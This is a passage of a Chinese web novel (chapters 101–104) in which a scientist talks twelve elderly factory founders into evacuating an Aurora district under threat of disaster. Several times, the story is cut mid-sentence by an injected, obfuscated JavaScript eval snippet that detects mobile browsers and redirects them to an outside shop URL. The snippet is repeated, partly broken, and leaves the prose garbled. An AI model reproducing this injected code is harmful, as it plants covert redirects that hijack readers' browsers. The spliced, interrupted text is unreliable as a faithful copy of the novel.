“嗯,你肯定行。” 顾深浅非但没躲没提醒他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566135|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都该出门了,双手还不老实地伸进了他的下摆。 沈千峻轻笑着起身,想要再次加深这个吻时,顾深浅成功把他仅此一件的卫衣扒拉下来,眼疾手快地往他怀里塞了件保暖内衣,言简意赅道:“换。” “……?” “不然呢?冰天雪地穿这点,靠燃烧精神力续命?”顾深浅嘲道,“既然你要去搞一些不安全到甚至不能带上我的事,我还指望你分出力量来保暖吗?” 她的不满昭然若揭,沈千峻笑意愈发鲜明。 可怜的卫衣掉到地上,它半裸的主人好像冻坏了,环着女主人的腰紧紧贴着她,下巴搁在女主人的肩头装可怜。 “我和徐飞扬去加固城防。”沈千峻说,“每个城市都有我们设置的防御工事,但都只是紧急防御常规天灾的。徐飞扬特地赶过来就是为了这个。三城不大也不小,我们一路下去这几天都合不了眼,让你跟着是折腾你。” 察觉她想反驳,沈千峻更快地说:“而且,你要去做的事,比我们更难,也更重要。” 顾深浅心一颤,热度从脸颊一路烧到耳根,她攥紧了手里的衣服,不为所动似的戳戳他:“先穿上。” 沈千峻闷笑着松开她,套上了她给的贴身内衣,严丝合缝地勾勒出他精壮的肌肉曲线。顾深浅不忍直视地挪开眼转移话题:“又是城防又是撤离,办得这么急,是不是又出事了?” “也没什么。”沈千峻拎起地上的卫衣,“隋宁的进一步推算结果出来了,留给我们的时间有点紧。” 顾深浅怔住,正色道:“还有多久?” “不到七天。” “你说几天?!” 光轮车上,霍普惊叫的声音极具穿透性,顾深浅捂着耳朵往旁边躲,神态动作毫不掩饰地嫌弃。 前座的联安署警员听着动静乐了,答道:“十来天。” “这十二位老人都是极光区当地食品工厂的创始人,在极光区待了一辈子,早忘了外面的阳光是什么滋味儿。前脚儿刚为了经济改革的事儿,风雨不动地在区议会楼坐了十来天,你别说,还真有成效。” 霍普伸长了脖子:“后来呢?” “后来请进去喝了两天茶,再出来的时候,个个脸上意气风发。”警员说完,带着一丝唏嘘,“谁能想到,极光区的春天眼见要来了,这儿就要被流星给炸了。” “不是流星,他是……”顾深浅纠正的话语在两道澄澈的视线里偃旗息鼓,她“您继续。” “没啥继续的了,老人家们没一个愿意走的,要和这座城市共存亡。故技重施呢,就围坐在工厂门口,家里小辈死活劝不动。”警员叹口气,“他们不走,厂里的民工也不肯走。这眼看影响越来越恶劣,负责撤离的同志实在没辙,只好向上级求援了。” 顾深浅依然不理解:“只要命在人在,在哪儿不能创造新的开始?为什么非得执着这座城?” 警员附和道:“谁说不是呢。” “不一样。” 顾深浅望向声音源头,霍普望着车窗外的苍茫大地,声音舒缓而悠远: “故乡,是不一样的。” 101. 迟暮 “哪里不一样?” “小小一个地球上,只是暂离了一个城区,人们都会思念故乡。更别说官方通知的是,天灾之后,他们将永远失去故乡。” “为什么会思念故乡?” “故乡的各色建筑,草木风情,特色美食,甚至只是故乡的那一口锅气,在其他地方是感受不到的。” “建筑可以搭建,草木可以种植,美食可以复刻。”顾深浅说,“怎么会感受不到?” 霍普和她对视的目光逐渐疑惑,似乎不知道要怎么回答顾深浅的问题,陷入了自己的沉思,顾深浅也没再说话。 二人都不开口,彼此没觉得什么,驾驶座的警员先觉得氛围弥散着难以言说的尴尬。 好在很快抵达目的地,光轮车停下,他率先悄悄抹把汗:“咱们到了。前边人太多,不好开了。” “人多?”顾深浅反应了下,“你是说一起过来抗议的工人?” “是啊。”警员透过车窗,朝他们侧前方指了指,“您瞅呢,密密麻麻坐着的,都是这边厂区的。要么说咱们负责撤离的同事也没辙呢。” 顾深浅自言自语道:“影响确实太大了。” 他们有主心骨,有信念,还有同伴。 如果任其发展,恐怕影响范围就不仅限于厂区工人了。 沈千峻说这件事比城防更重要,难不成其中埋伏了虫子? 她问道:“这种情况,其他地方有出现吗?” 出乎她预料的,警员摇了摇头。 顾深浅挑眉,问道:“那十二位老人在哪儿?” 警员:“人群最前边,大楼的正门口坐着呢。” 她略一思索:“找两个便衣混进去,听听工人们是怎么说的。武装只带防身用具,隐蔽点,别惹事。大楼有没有小门?” 警员应下,答道:“有,咱边上这个建筑就是,里面直通大楼。平时不启用,没什么人知道。” 霍普问道:“咱们现在要做什么?” “现在么,”顾深浅高深道,“先看看那十二位有什么神通。” 他们顺着警员说的路秘密进入区议会大楼,顾深浅站在正中央二楼防窥窗前,楼前情景一览无余。 乌泱泱人海的最前方,独立出了空旷的两排,和后面的人群整齐地隔开一段不小的距离,看上去似乎在刻意地和身后的人拉远距离。 说是十二位老人,论起实际年龄未必有沈千峻的零头大,远远望去却几乎都是满头华发。他们十二个端坐两排,个个身姿挺拔如松,神采奕奕,倒是比身后几个满脸颓丧的年轻人精神得多。 有意思。 顾深浅指着前面的那排:“前面十二个是老板我知道了,后面那几个萎靡不振的是什么情况?” “都是他们的家属。”警员说:“这十二个人,一大半都没成家,成了的也不顾家。家里小辈早早地都往首都去了,本来是听了消息过来接老人走的,结果老人不肯走不说,厂里的工人都不肯走。他们夹在中间,走了是忘恩负义的不孝子,不走是跟着一起陪葬,估计这会儿还在做心理斗争呢。” 顾深浅:“孑然一身的就算了,成了家的真能一点不为小辈考虑?” 霍普突然说:“正是为小辈考虑才这么做吧。” 她侧目问:“怎么说?” “他们坐在这儿前后也十来天了,干的都是跟联盟作对的事儿。孑然一身的没有顾虑,有家人的,家人在首都日子过得好好的,多一个跟联盟的过不去的,前程就未定了。” 霍普认真地说:“他们既然豁出去了,势必更不愿意牵连家人的。” 可他们坐在这里领着群众抗议,又真的能改变什么吗? 顾深浅把不理解咽了下去,问警员:“这些人的材料呢?” 警员一边打开文档一边说:“这十二位老人最年长的已经八旬,最年轻的刚满七十。是联盟爆火的一个零食品牌的联合创始人。叫做‘极光专贩’。当年都在极光区另一个特殊材料加工厂打工,因为不堪奴役,十二个青年意气相投,集体罢工表示抗议。但您也知道,极光区嘛,从来最不缺的就是廉价劳动力。他们罢工没罢出个说法,反而急速下岗,同时面临着当地没有工厂愿意雇佣他们的惨淡局面。” 警员打开这份材料很细致,跟着他的描述还翻到了一些当时的场景影像。 再后来,下岗失业的十二个青年什么活都干,他们跑遍了极光区每一片可开发的土地,有人的没人的地方都探索过,只为求一条站着活下去的路。 “好在他们也算是撞了大运,不仅在当时的无人区,哦,就是如今的厂区,找到了这种极光区特产食材,还刚好赶上了极光区城建开发的扶持红利。那会儿穷得不行,都是硬着头皮,掏空了家底去抓这个商机,搞了这个食品厂。” 警员唏嘘道,“到现在也是饱经风霜,成就了风靡联盟的‘极光专贩’。本来安安稳稳地可以退休了,偏偏赶上这……哎。” 顾深浅点开材料上的白色植物:“就是这种食材?” “啊,是的。”警员说,“这个叫雪梧,跟雪色太像了,长在极光区的雪地里,没几个能分辨出来的。” 霍普凑近细看:“你刚才说这是极光区的特产,就是说如果这座城市没了,他们的‘极光专贩’也就没了?” 警员叹息默认:“为之奋斗了一辈子,临了了眼见着毕生心血付诸一炬,谁也受不了啊。” 霍普悄悄吧唧了下嘴:“主……顾工,我还没吃过‘极光专贩’呢。” “……” 顾深浅一言难尽地瞪了他一眼,转向警员:“大楼里有吗?” 警员没反应过来:“啊?” “极光专贩。”顾深浅说,“算了,让人去买。厂外有多少人就买多少。” “啊,哦哦!我马上去!” 警员三两下跑了个没影,霍普笑眯眯地说:“主人,你有办法啦?” “……说了不用这么喊我。”顾深浅咳了咳,“你跟他们一样喊顾工就好。” “知道的。”霍普一本正经,“我刚刚就没喊。” “……私下也不喊。” “为什么?” 顾深浅噎了半天,正色说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581663|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈千峻知道了会不高兴,他什么都知道的。” 霍普眼前浮现那个男人凶巴巴的模样,打了个寒颤,老实了:“好的顾工。” 一场硝烟被扼杀在摇篮,顾深浅满意地点点头,视线重新落回了端坐的老人身上。 他们早已功成名就,身上随便一件单品都价值千金,而现在就这么席地而坐,和身后最普通的员工并没有区别。 两排老人间不知何时夹进了几个联盟制服的人,卑躬屈膝地不知道在说什么,看上去就差给人跪下了。 顾深浅客观评价:“跪着磕头都没用的。” 霍普顺着她的视线望去,也看得清楚:“为什么?” “他们十二个人在最难的时候互相帮扶,富贵的时候依然好得穿一条裤子,足见他们都是心志坚定,重情重义的人。既然下了决心一起抗议,谁也不可能动摇的。” 霍普回忆起自己天龙时期共同作战过的战友,认同地点点头:“那我们怎么劝?” “劝什么?” 霍普呆呆地问:“不是要劝他们撤离吗?” “谁说我要劝了。”顾深浅扬起眉,眼里闪过精光:“全部打晕带走。” “???” 徐飞扬呆愣愣地望着从风骚得独树一帜的驾驶座上走下来的长发男士,瞪圆了眼:“你怎么来了?” “你不知道啊?”长发男士弯起眼,“老大觉得你办事不力,不要你啦。” “神金。” 徐飞扬反驳得义正词严,明知道沈千峻听不到,说完还是下意识扫了一眼结界内休息的男人。见他全无反应,这才放心地踹了一脚织梦,“说真的。我说你小子嘴够紧的,一声不吭啊?” “你可省省心吧。”织梦说朝着沈千峻的方向抬抬下巴,“临时急令,我也就比你早知道几个小时。老大怎么了?这么虚弱。” 徐飞扬目光扫去,沈千峻闭眼枕在车座,不知是小憩还是睡着了“我和老大加固城防呢。三座城这么大面积的防御工事,七天不到的时间,最好赶在三天结束。我就是给上结界的,加固力量几乎都是他一个人的,还能喘气儿就不错了。” 织梦忧虑道:“营养液补了没?” 徐飞扬:“怎么能不补?随行的两箱都干没了。” 织梦无声叹息:“叫我来有什么用?没有顾工在,他的精神领域根本不会让我沾一点。” 徐飞扬看上去有些幸灾乐祸:“我们老大什么人呢,能让顾工看到他这样?出发前就把人支开了。” “支哪儿去了?”织梦随口问了句,往沈千峻的方向走去。 即使他也心知肚明,他能做的最多也就是帮沈千峻调节一下,让他恢复得稍微快一点。 没有顾深浅,恐怕他一靠近,沈千峻的戒心就会下意识竖起。 果不其然,出入他人精神领域如入无人之境的织梦,在踏进徐飞扬结界的那瞬,沈千峻凌厉得令人发颤的黑眸陡然睁开,一瞬的杀意将织梦定在了原地。 身后,徐飞扬的声音还在继续: “区议会,老大把那个麻烦留给她了。” 102. 极光专贩 极光专贩食品工厂是极光区出了名的“刺头”。 警员三言两语地概括还是简略了。 这不是他们第一次咋在区政门口群坐,先前十二天是因为不忿材料业的两年三次经济政策放宽下欣欣向荣,餐饮业却多年未见一点起色。 除了“极光专贩”,极光区没有任何一家拿得出手的食品工厂。 他们是带着极光区的餐饮界的希望来的。 他们的运气一如既往的好,最后一天巡检会议,遇上了各地抽查的联盟议员,当天就在极光区的发展会议上讨论了餐饮业的陈年旧疾,这才让他们听到了一点好消息。 在这之前的还有很多次,虽然不至于闹这么大阵仗,但“极光专贩”的每一次机会,都是这十二个人拼尽全力争取来的。 他们是收容普通人最多的工厂,似乎永远在为这个城市无家可归的人们兜底,不畏豪权,不惧政策,从不绝望,永远相信自己能做到。 他们是工人心里的英雄,在区议会的会议记录里,出现最多的评价却是“麻烦”“刺头”。 顾深浅阴着的脸上露出一丝讥讽。 霍普东张西望的脑袋忽然定格在过道尽头:“那个警员回来了。” 顾深浅抬头望去,十秒后,果然看见刚才的警员吭哧吭哧地跑过拐角,奔着他们而来。 “领,领导,”他气喘吁吁地停住,“东西都买回来了。补给车不敢靠太近,停在咱们下车的地方了。接下来做什么?” 顾深浅问:“我们的人安插进去了吗?” “是,已经传过一次消息回来。”警员说,“我们发现工人们大体分为三种,有的是土生土长的极光人,一辈子没离开过极光区;有的是其他城区来的普通人,都是日子过不下去才来这里的,现在知道要回去,都很抗拒。” “抗拒到宁愿去死?” 警员噎了下。 “他们不肯走,有不肯走的症结。解决了他们的实际问题,为什么要在这儿等死?” 顾深浅顿了顿,又问:“还有一种是什么?” “哦,还有一部分,都觉得这是虚假消息。”警员表情有些无奈,“大家觉得所谓的灾情是无稽之谈,看不到任何危险预警,有一些,额,阴谋论。” 霍普问:“什么阴谋论?” “害,就那些风言风语呗。”警员说。“极光区这地界,你们可能还不是很了解。三天两头的自然灾害通告。可你要说真有什么事儿,这大几十年了,听都没听过。别说普通群众了,就光是区议员里,也好多人秉持怀疑态度,但没办法,得配合工作啊。这么一来自然容易生抱怨,又是涉及各自利益的事儿,大家情绪一上来,说多不好听的都有。” 他话说得不够清楚,霍普一下没明白,他想了想又问:“你是说,他们没有把灾区预警当回事?” 他顿了顿说:“也可以理解,地球近二百年间,天体科学的存在感几乎降到了最低。云汉1号的保护下人们已经逐渐忘记了宇宙的危险,这个时候说有颗恒星会在地球边上出生,还会毁了地球至少三座城,大家不相信也正常。” “傻孩子。”顾深浅轻笑了声:“他的意思是,他们觉得这一切都是联盟的骗局,光明正大地用天灾做由头,目的大概就是把他赶出极光区之后利用这片土地做更能赚钱的事之类,反正没安好心。” 警员没说话,算是默认了。 霍普呆在原地。 “还真是有意思了。” 顾深浅语毕,不等二人反应便向外走,霍普回过神快步跟上:“咱去哪儿啊?” “会见当事人。” 当事人自然是前面端坐的十二位老人。 大楼正门打开了一条缝又很快关上,里面走出来一个小姑娘,裹得像白花花的大鹅。身后亦步亦趋跟着个黑衣大高个,兜帽遮住了泰半的脸,难以辨认,一出来就吸引了大多数的人的目光。 首排中间的两位老者对视一眼,更多打量的视线落在了大白鹅身上。 大白鹅搓搓手,厚重的手套遮住大半张脸,只露出一双晶亮的眼,径直来到中心的两位老人中间,席地而坐。 身后众人纷纷看过来,沉默寡言的黑衣青年扫视一圈,凌厉的戾气让不少人收回了目光。 顾深浅对此一无所知似的,她“嘶”了声,语气熟稔:“这地也忒凉了。叔叔阿姨,你们坐这么久,裤子不会湿吗?” “……” 左边的“阿姨”说:“你穿得厚实,坐个五分钟就走的话,不碍事。” 顾深浅很上道:“谢谢阿姨给我五分钟。” 霍普站得高,一览无余地看着右边的叔叔默默收回了掏一次性压缩垫的手。 “阿姨”大概不太喜欢这个称呼,先自我介绍道:“我姓汪,是极光专贩食品加工厂的厂长,这位是我的副手,也是副厂长之一,姓吴。” 顾深浅:“汪阿姨好,吴叔叔好。” 汪阿姨:“……” “吴叔叔”倒是挺高兴:“你好呀小姑娘,你是做什么的呀?” “做研究的,叔叔。”顾深浅说,“上学时候方向是药物分析与药理研究,现在从事食品安全行业。” 霍普兜帽下眼睛都瞪圆了,满脸都是疑惑。 顾工不是搞机械的吗?这是说啥呢? 吴源明眼底闪过精光,汪真先冷了脸:“区议派你来想干什么?怎么,见我们阵势大了,想给极光专贩扣个食品安全不合格的帽子吗?” “你这说哪儿去了。”顾深浅笑道,“我就是个传话的。这不是叔叔问,起咱随便聊聊么。” 汪真:“传什么话?” 顾深浅:“首都的领导来了,说是想邀请各位进去坐坐,大家一块喝杯茶。有什么话,咱慢慢说。” 汪真果断拒绝:“在你们表态前,我们哪儿也不去。” 顾深浅没问他们要什么样的表态,只是微微勾唇,俯身压低了声音:“如果说,联盟能培植出和极光区一模一样的雪梧呢?” 她的声音不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603140|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大不小,刚够这两排的人听见。 霍普审视着后面熙熙攘攘的人群:如果后排有强化过五感的精神人类,那么他们也能听见。 吴源明和汪真眼底同时闪过惊讶,汪真比男人更快反应,她看着顾深浅的目光已经全无温度,冷意堪比这冻屁股的地面:“空口白舌的就想诈我们,你想得也太容易了。你可以走了,如果你说的领导真的来了,那让他出来,有什么话跟大家一起说。我们不可能跟你进去。” 吴源明终于掏出了垫子:“发热的,不怕冷。” 霍普&顾深浅:“……” “你们真的希望公开讨论吗?”顾深浅低声反问,“叔叔阿姨,这可是你们的救命稻草,彻底改变了你们命运的植物。” 汪真冷冰冰地盯着她不说话,一直沉默的吴源明忽然说:“小姑娘,你不是学什么药物分析的,也不搞食品安全吧。” 顾深浅面不改色:“是。” 汪真暗自惊讶,余光瞥了眼老伙计,沉默地听着。 吴源明继续笑眯眯地说:“你一上来就扯谎,我们怎么相信你说的是真是假呢?” “叔叔您这话说的,我可不服气。”她说着不服气,语气却轻描淡写,“明明是汪阿姨先说,她是厂长,你是副厂长的。” 汪真一惊:“你……” “扯谎是我不对,不过,雪梧的事可是真的。”顾深浅看向吴源明,“联盟愿意无偿提供培育方式和前期的培育成本,直到新的‘极光专贩’开始盈利。具体方案,希望能有机会和吴厂长以及各位细聊。” 她的指令不动声色地传递给霍普,一边笑眯眯地说:“叔叔,茶已经泡好了,不如带各位进去坐坐吧。” 警员战战兢兢地跟在顾深浅屁股后面,看着她把十二位大佬送进会议室,请他们稍等。然后就带上门走到他面前,问他:“你是先锋一队还是二队的?” 他磕巴了一下,在顾深浅笃定的目光下无奈道:“归属地方办事处。” 顾深浅不怎么意外地点头:“我有个很重要的任务交给你。” 她字字句句认真交代完,见警员坚定地应下才松了口气:“行了,去吧。” “顾工!我我,我还有个问题……”警员叫住她,在顾深浅疑惑的目光下小心翼翼问:“您,怎么认出我的呀?” 顾深浅莫名其妙:“你又没藏着掖着,我为什么认不出?” 警员:“……?” 顾深浅耐着性子:“SS的精神力;提前准备好的高权限档案让我随心调阅;那么短时间内就能极其大批量的极光专贩食品,这些特征同时出现在一个联安署警员身上的概率并不高。而且……” 她忽然住了口,警员好奇问:“而且什么?” 顾深浅笑着摇摇头:“没事,我跟你说得也够久了。你快去吧,别耽误事儿。” “好嘞。” 警员快步走了,顾深浅深吸一口气,重新走向会议室。 而且,他怎么可能放心她一个人。 103. 六芒章 大白鹅长发随意绑成马尾,脱下了厚厚的袄,换上了她随身带着的白大褂,戴上了无框眼镜,一只手还在兜里,推开了会议室大门。 十二位老者节奏统一地坐在同一边,吴源明和汪真坐在中间,而会议桌的对面空无一人。 顾深浅泰然自若地在中间位置落座:“久等了,各位。” 众人打量着她的眼神不约而同微妙起来。 “重新自我介绍一下。”她微微朝后靠在宽大的椅背上,本来就不宽的肩膀更显小巧,在场却没有一个人敢小瞧她。 她的精神威压遍布着整个房间,只要她想,随时会悬在在场每一个人头上。 “我姓顾,叫顾深浅,任职特殊事件监察处总部科研三组组长,主要工作是负责解决影响人类发展的特殊事件中,未解决的科研问题。”顾深浅字句清晰地说,“很遗憾地通知各位,今天并没有联盟议员到场,只有我一个人。” 对面众人面面相觑,吴源明端坐在她对面,依然挂着看似和煦的笑意,似乎并不意外,也并不恼怒。 汪真却没那么沉得住气,她愤然拍案:“一而再再而三地诱骗我们,我就知道联盟没安好心!你们到底有什么目的?!” “很简单,希望各位能够接受联盟的帮助,在灾难降临前撤离北极光区。”顾深浅说,“希望所有人都能活下去。” 后排其中一人忽然开口:“谁知道你们是不是在故弄玄虚。” 吴源明微微侧首,递过一个警告的眼神。 那人住了嘴。 他视线回到顾深浅,双手交叉搁在桌上,缓缓开口:“顾组长,如果没有雪梧,外面上千人即使撤离,也活不下去。” “这点我从一开始就说过了,吴厂长。”顾深浅挑眉,“雪梧的事是真的。” “雪梧被纳入专利多久,培育实验就进行了多久,可是到前几天都没有进展。”吴源明说,“顾组长,空口白舌的,我愿意相信你,其他人可未必。” “当然,我充分理解各位的顾虑。所以,我也带来了我们的诚意。” 顾深浅轻轻摸了摸耳钉,光影投射,一份新鲜盖章的研究报告铺开,中间内容被隐藏了起来,只有首尾两页呈现在会议桌中央,正对着吴源明等人。 首页标题上加粗写着——雪梧克隆实验研究报告,而尾页上,只有首行显示了干巴巴的几个字:实验结果:成功,以及最末的,特殊事件监察处的公章。 即使是最稳得住,全程不显山不露水的吴源明在看到的瞬间也露出了惊愕神色。 “出动特监处的没有小事,特监处自身的科研团队不比研究所弱,这个公章各位可能比较陌生,但这类型的你们应该接触得不少。”顾深浅说,“你们过往的审批文件里也出现过,只有最高一层文件才会用到的六芒章,代表联盟最高决议。” 六芒章从来只有联盟的最高决策使用,特监处出具的文件上既然有六芒章,足够说明特监处可以代表联盟,出具的报告也有着联盟担保的权威性。 她微微抬起下巴,十指交叉:“现在,可以了吗?” 室内一时陷入静谧,短暂的眼神交流后,汪真说:“仅凭这些,我们还是不能相信你。” 顾深浅面色不改:“您还需要什么?” 汪真正要说话,身侧一只手却忽然按住了她。 吴源明开了口,他脸上的笑容终于淡去,整个人显得严肃起来,语气比先前任何一次都更真挚:“顾组长,我们想看一看这份报告的全文。” “可以,这份报告会在各位安全转移后的第一时间发送到各位的私人光脑。”顾深浅挑眉,“当然,如果您是指现在就想看的话,很抱歉,即使是我,也没有权限。” 吴源明说:“雪梧很重要,不仅是对我们,对外面的工人更是。顾组长,我必须确认这个消息的真实性。只要您说得是真的,我也可以向您保证,工人们都会配合联盟的撤离工作。” “哦?”顾深浅拉长了尾调,似笑非笑的模样和沈千峻如出一辙,“也就是说,工人们确实是各位授意,才会集结在门口。” 吴源明一怔。 “不是吗?”顾深浅的锐利一点点展现,“我还以为,几位觉得联盟预告的天灾是无稽之谈,对预告通知嗤之以鼻,觉得联盟要全民撤离是另有目的,与其好好配合,不如趁着这个机会捞一笔。” 汪真拍案:“你少血口喷人!” “我们兢兢业业一辈子,挣得每一分都是辛苦钱!从没捞什么钱!” “小姑娘,你小小年纪,不好以己度人的!” …… 后排几个人都明显染了怒容,纷纷怒骂起来,是顾深浅都想给他们点一句好骂的程度。 唯独吴源明坐在原地,平静地看着顾深浅,似是欲言又止。 旁边的汪真率先发现了不对劲,“大哥,你这是?” 顾深浅勾着唇,眼角却不见笑意:“吴厂长,到底是什么让你这么坚定地认为,天灾是假的?” 雪地里,工人小伙拿着刚分到的极光专贩,不乏讽刺地跟身边同伴吐槽:“我们天天就做这个,现在还给咱发这个,谁稀罕。” 半天没听见动静,他疑惑回过头,发现他的同伴早已打开了其中一袋极光专贩的零食包,正吃得津津有味时,对上了同伴的目光。 二人大眼瞪小眼三秒,同伴似乎终于反应过来对方刚才是在跟他说话,又努力回忆了一下他刚才说了什么:“呃,你不爱吃极光专贩吗?” “不怎么爱吃。”小伙干巴巴地说,“我不怎么喜欢极光专贩。” “那你来这儿遭罪干什么?”同伴疑惑,“不是说舍不得极光专贩的集合,其他人来去自由吗?” 小伙无语地白了他一眼,好像他说的是多天真离谱的话:“我是不喜欢吃这个,但更不喜欢失业饿肚子。” “那天来的人不也说了,只要我们抗议的人多,如果天灾是假的,大家是合理争取自身利益,如果是真的,这么一闹,联盟也会更尽心地安置我们。横竖对我都只有好处,我为啥不来?” 同伴懵懂地点点头,自顾自吃了起来。 好像确实是这样。 他们在这儿坐了一整天,还滴水未进,他早就饿坏了。 只是没想到,厂领导没发吃的喝的,倒是区议会的人来送温暖。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627364|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们这边静下来没多久,前面却闹了起来,他们对视一眼,探头探脑地往人堆里凑。 刚还谁也不理谁的两人这会儿拉紧了手,艰难地在人堆里挤出了一条路,还没看清先听见了人们暴躁的声音。 “给我们这些东西是想干吗?我们不需要你们的假好心!” “我们就想知道厂长们在哪儿?为什么十二个大活人进了大楼,到现在就一点动静都没有了?!” “是啊!你们快放了厂长!” “放了厂长!” 两个小子误打误撞挤到了前排,小伙见情势不对,拽了把永远不在状态的同伴,在他耳边低声说:“往后退点,别惹事。” 这是极为善意的提醒。 不止众人围观的一群壮汉在大声抗议,他们身后的人群里,也渐渐从一句小声的“放了厂长”,演变得愈演愈烈,众人在一遍遍地抗议,前方穿着区议会制服的几个调解人员劝诫的声音被淹没在鼎沸人声中,全然听不见了。 直到对面让开了一条道,众人的抗议声才渐渐小下来。 俩小子看着一男一女走过来,同伴比小伙矮一点,这会儿半仰着脑袋,凑过去给他科普:“女的是吴厂他女儿,男的是早先从大楼里出来过,带着吴厂他们进去的。” 小伙将信将疑:“你咋知道。” “我一直看着呢。”同伴有点得意,“算是报答你了。” 报答什么? 小伙还没问出口,比刚才的调解人员大了两倍的声音响起,传到在场每一个人的耳朵里:“大家好,我是吴源明厂长的女儿,刚才已经跟着工作人员进去确认过,我父亲和另外十一位厂长正在和领导开会,目前一切都好。他们已经达成了一致,冰天雪地的,大家也别在这儿受冻了,跟着工作人员走吧,早点回去收拾东西准备撤离!我谨代表我父亲承诺各位,一定会为各位争取利益最大化!请各位放心!” 在场不少工人都认识她,这话一出,众人纷纷开始面面相觑,小声议论。 同伴对小伙说:“听这意思,是厂长让咱走,要不咱也走吧?” 小伙面露迟疑,犹豫着没说话。 同伴环顾一圈,四周的人神色和小伙大差不差。 前面刚才大声嚷嚷的壮汉突然说:“我们怎么知道你是不是和他们勾结,趁着厂长不在骗我们先走?” 旁边人应和着说:“是啊!你不是一直就想让厂长走吗!” 女人神色一僵,说话也开始颤抖起来:“他,他们真的在开会。” “你就是想骗大家撤吧!” “区议的走狗!” “你考虑过工人的死活吗!” …… 女人的反应更让人觉得可疑,浪潮般的质疑和反对声再次涌起来,刚才的安抚已经荡然无存。 “你们撤了回首都有饭吃,你想过我们离开了这片土地,还有谁给我们饭吃吗?!” 霍普轻轻地皱起眉。 节奏比他们预期得快了。 正当他联系顾深浅想问她什么时候可以执行下一步时,不远处的外围传来了一道洪亮的女声: “我来。” 104. 朋友 夜幕缭绕下,斑斓氤氲极光带着他的神秘悬在头顶,平静中透着暗涌,和极光区的每一个日夜并无不同。 如果有个视力超强的辅助型在这里,他们将清晰地看到,青色天光更高的尽头处,若隐若现的雾色正在逐渐变浓。 头顶屋面定格在半透明状态,沈千峻收回手,淡淡的紫色混迹在极光中,消失在他的手心。 他垂着的眸扫了眼,不怎么在意地搓了搓指尖。 极光下的徐飞扬一头金发更夺目了,他甩了甩额前碎发走过来,听上去比一开始放松了许多:“一队那边顺利完工了,咱这也还成,就最后一个点了。哥,你怎么样?” “不怎么样。”沈千峻说,“也就补了你一队三倍的量。” 织梦笑出了声,听徐飞扬骂骂咧咧着“我是说你的身体!”,悠悠然走过去递给沈千峻一瓶营养液。 沈千峻没接,他又抬了抬手:“一口气做三城城防加固,玖安都扛不住的。你是人,别逞能。” 沈千峻依然没接,他沉默地望着某个方向,忽然说:“当地办事处有消息吗?” 徐飞扬:“还没,估计正忙着呢。” 见他脸色不佳,徐飞扬公正地说:“当地办事处的没几个跟过你,做事儿也没那么机灵,摸不准多久就得汇报也难免……行行行,您别瞪我,我来问。” 沈千峻转向织梦:“你过去一趟。” “好。”织梦对沈千峻绝对服从,但还是凭着对当事人的了解好心建议,“她要是知道你明面让她自己处理,暗地里派我盯着,估摸着不会太高兴。” 沈千峻露出了第一个笑脸,“你怎么知道她不知道?” “我不知道。” 众目睽睽下,吴源明轻声叹息:“我从没说过天灾是假的。” “从您嘴里听到句真话,还真是不容易。”顾深浅说,“我相信您不是坏人,也不会拿工人的身家性命开玩笑。既然知道天灾随时会降临,为什么还要带他们闹这一出?” 吴源明笑着,依然温和亲切,却似乎与之前有哪里不一样了:“我也不知道天灾是不是真的,姑娘。” 一句“姑娘”喊得亲切,顾深浅挑了挑眉。 他并不确定这个消息的真假。 如果天灾是假的,又在这样的改革前夕,如果藏着联盟的阴谋,很可能意味着他们奋斗一生的极光专贩,包括极光区其他的食品工厂在内,成千上万工人的生路将荡然无存; 如果天灾是真的,这是他们为之奋斗终生的事业,哪怕靠积蓄、靠家人,在联盟的帮扶下尚且可以苟活,从没出过极光区的工人怎么办? 他们又真能舍得下这份心血吗? 无论是哪种情况,只要闹大了场面来向联盟争取,大概率都能给工人们更多保障。联盟出于人道主义,也不可能放任那么多民众不管。 吴源明说:“但如果你们真的掌握了雪梧的克隆技术,并愿意无偿提供给极光专贩。那么我之前的许多顾虑也就都烟消云散了。” 他眼神真挚而肃然,认真且诚恳地说:“所以关键是,这件事上,你没有骗我们。” 